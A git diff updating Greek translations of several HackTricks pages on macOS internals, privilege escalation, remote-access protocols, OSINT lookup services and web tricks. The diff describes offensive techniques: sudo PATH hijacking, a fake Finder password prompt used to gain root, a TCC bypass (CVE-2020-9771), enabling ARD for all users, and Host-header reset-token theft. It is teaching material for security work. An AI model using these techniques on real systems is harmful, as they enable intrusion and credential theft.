@@ -12,7 +12,7 @@ ``` Ή χρησιμοποιώντας το εργαλείο [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/usr/libexec/lsd`** είναι ο εγκέφαλος της βάσης δεδομένων. Παρέχει **διάφορες υπηρεσίες XPC** όπως `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, και άλλες. Αλλά απαιτεί επίσης **ορισμένα δικαιώματα** για τις εφαρμογές ώστε να μπορούν να χρησιμοποιούν τις εκτεθειμένες λειτουργίες XPC, όπως `.launchservices.changedefaulthandler` ή `.launchservices.changeurlschemehandler` για να αλλάξουν τις προεπιλεγμένες εφαρμογές για τύπους mime ή σχήματα url και άλλα. +**`/usr/libexec/lsd`** είναι ο εγκέφαλος της βάσης δεδομένων. Παρέχει **διάφορες υπηρεσίες XPC** όπως `.lsd.installation`, `.lsd.open`, `.lsd.openurl` και άλλες. Αλλά απαιτεί επίσης **ορισμένα δικαιώματα** για τις εφαρμογές ώστε να μπορούν να χρησιμοποιούν τις εκτεθειμένες λειτουργίες XPC, όπως `.launchservices.changedefaulthandler` ή `.launchservices.changeurlschemehandler` για να αλλάξουν τις προεπιλεγμένες εφαρμογές για τύπους mime ή σχήματα url και άλλα. **`/System/Library/CoreServices/launchservicesd`** διεκδικεί την υπηρεσία `com.apple.coreservices.launchservicesd` και μπορεί να ερωτηθεί για να αποκτήσει πληροφορίες σχετικά με τις τρέχουσες εφαρμογές. Μπορεί να ερωτηθεί με το εργαλείο του συστήματος /**`usr/bin/lsappinfo`** ή με [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). @@ -22,7 +22,7 @@ ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` -Ή χρησιμοποιήστε κάτι όπως [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): +Ή χρησιμοποιήστε κάτι όπως το [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index f1dab013a..414f28a57 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -170,7 +170,7 @@ sleep(1) // Simulate a long-running task ``` ## Frida -Το παρακάτω σενάριο Frida μπορεί να χρησιμοποιηθεί για να **συνδεθεί σε πολλές `dispatch`** συναρτήσεις και να εξάγει το όνομα της ουράς, το backtrace και το block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) +Το παρακάτω σενάριο Frida μπορεί να χρησιμοποιηθεί για να **hook into several `dispatch`** συναρτήσεις και να εξάγει το όνομα της ουράς, το backtrace και το block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -185,9 +185,9 @@ Backtrace: ``` ## Ghidra -Αυτή τη στιγμή, το Ghidra δεν κατανοεί ούτε τη δομή ObjectiveC **`dispatch_block_t`**, ούτε τη **`swift_dispatch_block`**. +Αυτή τη στιγμή, το Ghidra δεν κατανοεί ούτε τη δομή ObjectiveC **`dispatch_block_t`**, ούτε τη δομή **`swift_dispatch_block`**. -Έτσι, αν θέλετε να την κατανοήσει, μπορείτε απλά να **τις δηλώσετε**: +Έτσι, αν θέλετε να τις κατανοήσει, μπορείτε απλά να **τις δηλώσετε**:
@@ -195,7 +195,7 @@ Backtrace:
-Στη συνέχεια, βρείτε ένα μέρος στον κώδικα όπου **χρησιμοποιούνται**: +Στη συνέχεια, βρείτε ένα μέρος στον κώδικα όπου χρησιμοποιούνται: > [!TIP] > Σημειώστε όλες τις αναφορές που γίνονται στο "block" για να κατανοήσετε πώς μπορείτε να καταλάβετε ότι η δομή χρησιμοποιείται. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 8ce7e073d..95527834e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -22,7 +22,7 @@ macos-security-protections/macos-tcc/ ### Sudo Hijacking -Μπορείτε να βρείτε την αρχική [τεχνική Sudo Hijacking μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/#sudo-hijacking). +Μπορείτε να βρείτε την αρχική [Sudo Hijacking technique μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/#sudo-hijacking). Ωστόσο, το macOS **διατηρεί** το **`PATH`** του χρήστη όταν εκτελεί **`sudo`**. Αυτό σημαίνει ότι ένας άλλος τρόπος για να επιτευχθεί αυτή η επίθεση θα ήταν να **παρακάμψετε άλλες δυαδικές** που θα εκτελέσει το θύμα όταν **τρέχει sudo:** ```bash @@ -126,9 +126,9 @@ killall Dock - Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση Finder στην αρχή του πίνακα Dock**. - Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι τόσο περίεργο. -- Μια άλλη επιλογή για **να αποκτήσετε δικαιώματα root χωρίς να ζητήσετε** τον κωδικό πρόσβασης με ένα απαίσιο παράθυρο, είναι να κάνετε τον Finder να ζητήσει πραγματικά τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια: -- Ζητήστε από τον Finder να αντιγράψει στο **`/etc/pam.d`** ένα νέο **`sudo`** αρχείο (Η προτροπή που ζητά τον κωδικό πρόσβασης θα υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το sudo") -- Ζητήστε από τον Finder να αντιγράψει ένα νέο **Authorization Plugin** (Μπορείτε να ελέγξετε το όνομα του αρχείου ώστε η προτροπή που ζητά τον κωδικό πρόσβασης να υποδεικνύει ότι "Ο Finder θέλει να αντιγράψει το Finder.bundle") +- Μια άλλη επιλογή για **να αποκτήσετε δικαιώματα root χωρίς να ζητήσετε** τον κωδικό πρόσβασης με ένα τρομακτικό παράθυρο, είναι να κάνετε τον Finder να ζητήσει πραγματικά τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια: +- Ζητήστε από τον Finder να αντιγράψει στο **`/etc/pam.d`** ένα νέο **`sudo`** αρχείο (Η προτροπή που ζητά τον κωδικό πρόσβασης θα υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το sudo") +- Ζητήστε από τον Finder να αντιγράψει ένα νέο **Authorization Plugin** (Μπορείτε να ελέγξετε το όνομα του αρχείου ώστε η προτροπή που ζητά τον κωδικό πρόσβασης να υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το Finder.bundle") ```bash #!/bin/sh @@ -203,9 +203,9 @@ killall Dock ## TCC - Εκμετάλλευση Δικαιωμάτων Ρίζας -### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση δικαιωμάτων +### CVE-2020-9771 - παράκαμψη TCC του mount_apfs και εκμετάλλευση δικαιωμάτων -**Οποιοσδήποτε χρήστης** (ακόμα και αυτοί χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ +**Οποιοσδήποτε χρήστης** (ακόμα και αυτοί χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ Η **μόνη προϋπόθεση** είναι η εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`), η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή. ```bash # Create snapshot diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md index 1a4207a94..1e0ec3538 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md @@ -4,7 +4,7 @@ ## Υπηρεσίες Απομακρυσμένης Πρόσβασης -Αυτές είναι οι κοινές υπηρεσίες macOS για απομακρυσμένη πρόσβαση σε αυτές.\ +Αυτές είναι οι κοινές υπηρεσίες macOS για απομακρυσμένη πρόσβαση.\ Μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε αυτές τις υπηρεσίες στις `Ρυθμίσεις Συστήματος` --> `Κοινή Χρήση` - **VNC**, γνωστό ως “Κοινή Χρήση Οθόνης” (tcp:5900) @@ -32,25 +32,25 @@ Apple Remote Desktop (ARD) είναι μια ενισχυμένη έκδοση ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -ARD παρέχει ευέλικτα επίπεδα ελέγχου, συμπεριλαμβανομένης της παρακολούθησης, του κοινόχρηστου ελέγχου και του πλήρους ελέγχου, με τις συνεδρίες να παραμένουν ενεργές ακόμη και μετά από αλλαγές κωδικού πρόσβασης χρήστη. Επιτρέπει την αποστολή εντολών Unix απευθείας, εκτελώντας τις ως root για διαχειριστικούς χρήστες. Ο προγραμματισμός εργασιών και η απομακρυσμένη αναζήτηση Spotlight είναι αξιοσημείωτα χαρακτηριστικά, διευκολύνοντας απομακρυσμένες, χαμηλής επίπτωσης αναζητήσεις ευαίσθητων αρχείων σε πολλές μηχανές. +ARD παρέχει ευέλικτα επίπεδα ελέγχου, συμπεριλαμβανομένης της παρακολούθησης, του κοινόχρηστου ελέγχου και του πλήρους ελέγχου, με τις συνεδρίες να παραμένουν ενεργές ακόμη και μετά από αλλαγές κωδικών πρόσβασης χρηστών. Επιτρέπει την αποστολή εντολών Unix απευθείας, εκτελώντας τις ως root για διαχειριστικούς χρήστες. Ο προγραμματισμός εργασιών και η απομακρυσμένη αναζήτηση Spotlight είναι αξιοσημείωτα χαρακτηριστικά, διευκολύνοντας απομακρυσμένες, χαμηλής επίπτωσης αναζητήσεις για ευαίσθητα αρχεία σε πολλές μηχανές. ## Πρωτόκολλο Bonjour Το Bonjour, μια τεχνολογία σχεδιασμένη από την Apple, επιτρέπει **στις συσκευές στο ίδιο δίκτυο να ανιχνεύουν τις προσφερόμενες υπηρεσίες η μία της άλλης**. Γνωστό επίσης ως Rendezvous, **Zero Configuration**, ή Zeroconf, επιτρέπει σε μια συσκευή να ενταχθεί σε ένα δίκτυο TCP/IP, **να επιλέξει αυτόματα μια διεύθυνση IP**, και να εκπέμπει τις υπηρεσίες της σε άλλες συσκευές του δικτύου. -Η Δικτύωση Χωρίς Ρυθμίσεις, που παρέχεται από το Bonjour, διασφαλίζει ότι οι συσκευές μπορούν να: +Το Zero Configuration Networking, που παρέχεται από το Bonjour, διασφαλίζει ότι οι συσκευές μπορούν να: -- **Αποκτούν αυτόματα μια Διεύθυνση IP** ακόμη και στην απουσία διακομιστή DHCP. +- **Αποκτούν αυτόματα μια διεύθυνση IP** ακόμη και στην απουσία διακομιστή DHCP. - Εκτελούν **μετάφραση ονόματος σε διεύθυνση** χωρίς να απαιτείται διακομιστής DNS. - **Ανακαλύπτουν υπηρεσίες** διαθέσιμες στο δίκτυο. -Οι συσκευές που χρησιμοποιούν το Bonjour θα αναθέσουν στον εαυτό τους μια **διεύθυνση IP από το εύρος 169.254/16** και θα επαληθεύσουν την μοναδικότητά της στο δίκτυο. Οι Macs διατηρούν μια καταχώρηση πίνακα δρομολόγησης για αυτό το υποδίκτυο, που μπορεί να επαληθευτεί μέσω `netstat -rn | grep 169`. +Οι συσκευές που χρησιμοποιούν το Bonjour θα αναθέσουν μόνες τους μια **διεύθυνση IP από το εύρος 169.254/16** και θα επαληθεύσουν την μοναδικότητά της στο δίκτυο. Οι Macs διατηρούν μια καταχώρηση πίνακα δρομολόγησης για αυτό το υποδίκτυο, που μπορεί να επαληθευτεί μέσω `netstat -rn | grep 169`. -Για το DNS, το Bonjour χρησιμοποιεί το **πρωτόκολλο Multicast DNS (mDNS)**. Το mDNS λειτουργεί μέσω **θύρας 5353/UDP**, χρησιμοποιώντας **τυπικά ερωτήματα DNS** αλλά στοχεύοντας στη **διεύθυνση multicast 224.0.0.251**. Αυτή η προσέγγιση διασφαλίζει ότι όλες οι συσκευές που ακούν στο δίκτυο μπορούν να λάβουν και να απαντήσουν στα ερωτήματα, διευκολύνοντας την ενημέρωση των καταχωρήσεών τους. +Για το DNS, το Bonjour χρησιμοποιεί το **πρωτόκολλο Multicast DNS (mDNS)**. Το mDNS λειτουργεί μέσω **θύρας 5353/UDP**, χρησιμοποιώντας **τυπικά ερωτήματα DNS** αλλά στοχεύοντας τη **διεύθυνση multicast 224.0.0.251**. Αυτή η προσέγγιση διασφαλίζει ότι όλες οι συσκευές που ακούν στο δίκτυο μπορούν να λάβουν και να απαντήσουν στα ερωτήματα, διευκολύνοντας την ενημέρωση των καταχωρήσεών τους. Κατά την ένταξή τους στο δίκτυο, κάθε συσκευή επιλέγει αυτόματα ένα όνομα, που συνήθως τελειώνει σε **.local**, το οποίο μπορεί να προέρχεται από το όνομα υπολογιστή ή να είναι τυχαία παραγόμενο. -Η ανακάλυψη υπηρεσιών εντός του δικτύου διευκολύνεται από το **DNS Service Discovery (DNS-SD)**. Εκμεταλλευόμενο τη μορφή των καταχωρήσεων DNS SRV, το DNS-SD χρησιμοποιεί **καταχωρήσεις DNS PTR** για να επιτρέψει την καταχώρηση πολλαπλών υπηρεσιών. Ένας πελάτης που αναζητά μια συγκεκριμένη υπηρεσία θα ζητήσει μια καταχώρηση PTR για `.`, λαμβάνοντας σε αντάλλαγμα μια λίστα καταχωρήσεων PTR μορφοποιημένων ως `..` αν η υπηρεσία είναι διαθέσιμη από πολλούς διακομιστές. +Η ανακάλυψη υπηρεσιών εντός του δικτύου διευκολύνεται από το **DNS Service Discovery (DNS-SD)**. Εκμεταλλευόμενο τη μορφή των καταχωρήσεων DNS SRV, το DNS-SD χρησιμοποιεί **καταχωρήσεις DNS PTR** για να επιτρέψει την καταχώρηση πολλαπλών υπηρεσιών. Ένας πελάτης που αναζητά μια συγκεκριμένη υπηρεσία θα ζητήσει μια καταχώρηση PTR για `.`, λαμβάνοντας ως απάντηση μια λίστα καταχωρήσεων PTR μορφοποιημένων ως `..` αν η υπηρεσία είναι διαθέσιμη από πολλούς διακομιστές. Το εργαλείο `dns-sd` μπορεί να χρησιμοποιηθεί για **την ανακάλυψη και διαφήμιση δικτυακών υπηρεσιών**. Ακολουθούν μερικά παραδείγματα χρήσης του: @@ -60,7 +60,7 @@ ARD παρέχει ευέλικτα επίπεδα ελέγχου, συμπερ ```bash dns-sd -B _ssh._tcp ``` -Αυτή η εντολή ξεκινά την αναζήτηση για υπηρεσίες \_ssh.\_tcp και εξάγει λεπτομέρειες όπως χρονική σήμανση, σημαίες, διεπαφή, τομέα, τύπο υπηρεσίας και όνομα στιγμής. +Αυτή η εντολή ξεκινά την αναζήτηση για υπηρεσίες \_ssh.\_tcp και εξάγει λεπτομέρειες όπως χρονική σήμανση, σημαίες, διεπαφή, τομέα, τύπο υπηρεσίας και όνομα παρουσίας. ### Διαφήμιση μιας Υπηρεσίας HTTP @@ -107,7 +107,7 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p ``` ## Αναφορές -- [**Το Χειρόγραφο του Χάκερ Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) +- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index d53fbc714..68d153fb1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -22,12 +22,12 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; - **Τυπικός Χρήστης:** Ο πιο βασικός από τους χρήστες. Αυτός ο χρήστης χρειάζεται δικαιώματα που παραχωρούνται από έναν διαχειριστή όταν προσπαθεί να εγκαταστήσει λογισμικό ή να εκτελέσει άλλες προχωρημένες εργασίες. Δεν μπορεί να το κάνει μόνος του. - **Διαχειριστής Χρήστης**: Ένας χρήστης που λειτουργεί τις περισσότερες φορές ως τυπικός χρήστης αλλά επιτρέπεται επίσης να εκτελεί ενέργειες ρουτ, όπως η εγκατάσταση λογισμικού και άλλες διοικητικές εργασίες. Όλοι οι χρήστες που ανήκουν στην ομάδα διαχειριστών **έχουν πρόσβαση σε ρουτ μέσω του αρχείου sudoers**. -- **Ρούτ**: Ο ρούτ είναι ένας χρήστης που επιτρέπεται να εκτελεί σχεδόν οποιαδήποτε ενέργεια (υπάρχουν περιορισμοί που επιβάλλονται από προστασίες όπως η Προστασία Ακεραιότητας Συστήματος). +- **Ρούτ**: Ο Ρούτ είναι ένας χρήστης που επιτρέπεται να εκτελεί σχεδόν οποιαδήποτε ενέργεια (υπάρχουν περιορισμοί που επιβάλλονται από προστασίες όπως η Προστασία Ακεραιότητας Συστήματος). - Για παράδειγμα, ο ρούτ δεν θα μπορεί να τοποθετήσει ένα αρχείο μέσα στο `/System` ## Εξωτερικοί Λογαριασμοί -Το MacOS υποστηρίζει επίσης σύνδεση μέσω εξωτερικών παρόχων ταυτότητας όπως το FaceBook, το Google... Ο κύριος δαίμονας που εκτελεί αυτή τη δουλειά είναι το `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) και είναι δυνατή η εύρεση προσθέτων που χρησιμοποιούνται για εξωτερική αυθεντικοποίηση μέσα στον φάκελο `/System/Library/Accounts/Authentication/`.\ +Το MacOS υποστηρίζει επίσης σύνδεση μέσω εξωτερικών παρόχων ταυτότητας όπως το FaceBook, το Google... Ο κύριος δαίμονας που εκτελεί αυτή τη δουλειά είναι το `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) και είναι δυνατόν να βρείτε πρόσθετα που χρησιμοποιούνται για εξωτερική αυθεντικοποίηση μέσα στον φάκελο `/System/Library/Accounts/Authentication/`.\ Επιπλέον, το `accountsd` αποκτά τη λίστα τύπων λογαριασμών από το `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md index 51e09bc72..1583167d3 100644 --- a/src/online-platforms-with-api.md +++ b/src/online-platforms-with-api.md @@ -2,121 +2,120 @@ # [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +Μπορείτε να ρωτήσετε αν μια διεύθυνση IP σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Εντελώς δωρεάν. # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +Ελέγξτε αν η διεύθυνση IP σχετίζεται με ένα bot που καταχωρεί λογαριασμούς. Μπορεί επίσης να ελέγξει ονόματα χρηστών και emails. Αρχικά δωρεάν. # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +Βρείτε και επαληθεύστε emails. +Ορισμένα δωρεάν API requests, για περισσότερα χρειάζεται να πληρώσετε. +Εμπορικό; # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +Βρείτε κακόβουλες δραστηριότητες που σχετίζονται με IPs και Domains. Δωρεάν. # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +Βρείτε σχετικά προσωπικά δεδομένα με ένα email \(προφίλ σε άλλες πλατφόρμες\), domain \(βασικές πληροφορίες εταιρείας, emails και άτομα που εργάζονται\) και εταιρείες \(λάβετε πληροφορίες εταιρείας από email\). +Πρέπει να πληρώσετε για να αποκτήσετε πρόσβαση σε όλες τις δυνατότητες. +Εμπορικό; # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +Τεχνολογίες που χρησιμοποιούνται από ιστοσελίδες. Ακριβό... +Εμπορικό; # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API. +Εμπορικό; # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +Ελέγξτε αν ένας host \(domain ή IP\) σχετίζεται με ύποπτες/κακόβουλες δραστηριότητες. Έχει κάποια δωρεάν πρόσβαση API. # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +Δείχνει αν ο host σχετίζεται με δραστηριότητα spam. Έχει κάποια δωρεάν πρόσβαση API. # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +Βασισμένο σε απόψεις και άλλες μετρήσεις, ελέγξτε αν ένα domain σχετίζεται με ύποπτες/κακόβουλες πληροφορίες. # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +Αποκτά βασικές πληροφορίες από μια διεύθυνση IP. Μπορείτε να δοκιμάσετε έως 100K/μήνα. # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +Αυτή η πλατφόρμα παρέχει πληροφορίες σχετικά με domains και διευθύνσεις IP, όπως domains μέσα σε μια IP ή μέσα σε έναν server domain, domains που ανήκουν σε ένα email \(βρείτε σχετικά domains\), ιστορικό IP των domains \(βρείτε τον host πίσω από το CloudFlare\), όλα τα domains που χρησιμοποιούν έναν nameserver.... +Έχετε κάποια δωρεάν πρόσβαση. # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +Επιτρέπει την αναζήτηση με email, domain ή όνομα εταιρείας και την ανάκτηση σχετικών "προσωπικών" πληροφοριών. Μπορεί επίσης να επαληθεύσει emails. Υπάρχει κάποια δωρεάν πρόσβαση. # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +Πολλές πληροφορίες από domains και IPs ακόμη και στην δωρεάν/κοινότητα έκδοση. # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +Αναζητήστε Domains, IPs και emails και αποκτήστε πληροφορίες από dumps. Έχει κάποια δωρεάν πρόσβαση. # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +Αναζητήστε με IP και συγκεντρώστε πληροφορίες σχετικές με ύποπτες δραστηριότητες. Υπάρχει κάποια δωρεάν πρόσβαση. # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +Αναζητήστε με IP ή εύρος IP και αποκτήστε πληροφορίες σχετικά με IPs που σκανάρουν το Διαδίκτυο. 15 ημέρες δωρεάν πρόσβαση. # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +Αποκτήστε πληροφορίες σάρωσης μιας διεύθυνσης IP. Έχει κάποια δωρεάν πρόσβαση API. # [Censys](https://censys.io/) -Very similar to shodan +Πολύ παρόμοιο με το shodan # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +Βρείτε ανοιχτά S3 buckets αναζητώντας με λέξη-κλειδί. # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +Βρείτε διαρρεύσαντα διαπιστευτήρια emails και ακόμη και domains +Εμπορικό; # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? +Αναζητήστε pastebins όπου εμφανίστηκε ένα email. Εμπορικό; # [emailrep.io](https://emailrep.io/key) -Get reputation of a mail. Commercial? +Αποκτήστε φήμη ενός email. Εμπορικό; # [ghostproject](https://ghostproject.fr/) -Get passwords from leaked emails. Commercial? +Αποκτήστε κωδικούς πρόσβασης από διαρρεύσαντα emails. Εμπορικό; # [Binaryedge](https://www.binaryedge.io/) -Obtain interesting info from IPs +Αποκτήστε ενδιαφέρουσες πληροφορίες από IPs # [haveibeenpwned](https://haveibeenpwned.com/) -Search by domain and email and get if it was pwned and passwords. Commercial? +Αναζητήστε με domain και email και δείτε αν έχει παραβιαστεί και κωδικούς πρόσβασης. Εμπορικό; -[https://dnsdumpster.com/](https://dnsdumpster.com/)\(in a commercial tool?\) +[https://dnsdumpster.com/](https://dnsdumpster.com/)\(σε ένα εμπορικό εργαλείο;\) -[https://www.netcraft.com/](https://www.netcraft.com/) \(in a commercial tool?\) +[https://www.netcraft.com/](https://www.netcraft.com/) \(σε ένα εμπορικό εργαλείο;\) -[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(in a commercial tool?\) +[https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/) \(σε ένα εμπορικό εργαλείο;\) {{#include ./banners/hacktricks-training.md}} - diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index f442a4533..fedff4f83 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -1,52 +1,38 @@ -# Other Web Tricks +# Άλλες Τεχνικές Ιστού {{#include ./banners/hacktricks-training.md}} -
-**Get a hacker's perspective on your web apps, network, and cloud** +### Κεφαλίδα Host -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -### Host header - -Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Πολλές φορές το back-end εμπιστεύεται την **κεφαλίδα Host** για να εκτελέσει κάποιες ενέργειες. Για παράδειγμα, μπορεί να χρησιμοποιήσει την τιμή της ως το **domain για να στείλει μια επαναφορά κωδικού πρόσβασης**. Έτσι, όταν λάβετε ένα email με έναν σύνδεσμο για να επαναφέρετε τον κωδικό σας, το domain που χρησιμοποιείται είναι αυτό που βάλατε στην κεφαλίδα Host. Στη συνέχεια, μπορείτε να ζητήσετε την επαναφορά κωδικού πρόσβασης άλλων χρηστών και να αλλάξετε το domain σε ένα που ελέγχετε εσείς για να κλέψετε τους κωδικούς επαναφοράς τους. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] -> Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**. +> Σημειώστε ότι είναι πιθανό να μην χρειαστεί καν να περιμένετε τον χρήστη να κάνει κλικ στον σύνδεσμο επαναφοράς κωδικού πρόσβασης για να αποκτήσετε το token, καθώς ίσως ακόμη και **τα φίλτρα spam ή άλλες ενδιάμεσες συσκευές/bots να κάνουν κλικ σε αυτό για να το αναλύσουν**. -### Session booleans +### Boolean συνεδρίας -Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\ -However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +Ορισμένες φορές όταν ολοκληρώνετε κάποια επαλήθευση σωστά, το back-end θα **προσθέσει απλώς ένα boolean με την τιμή "True" σε ένα χαρακτηριστικό ασφαλείας της συνεδρίας σας**. Στη συνέχεια, ένα διαφορετικό endpoint θα γνωρίζει αν περάσατε επιτυχώς 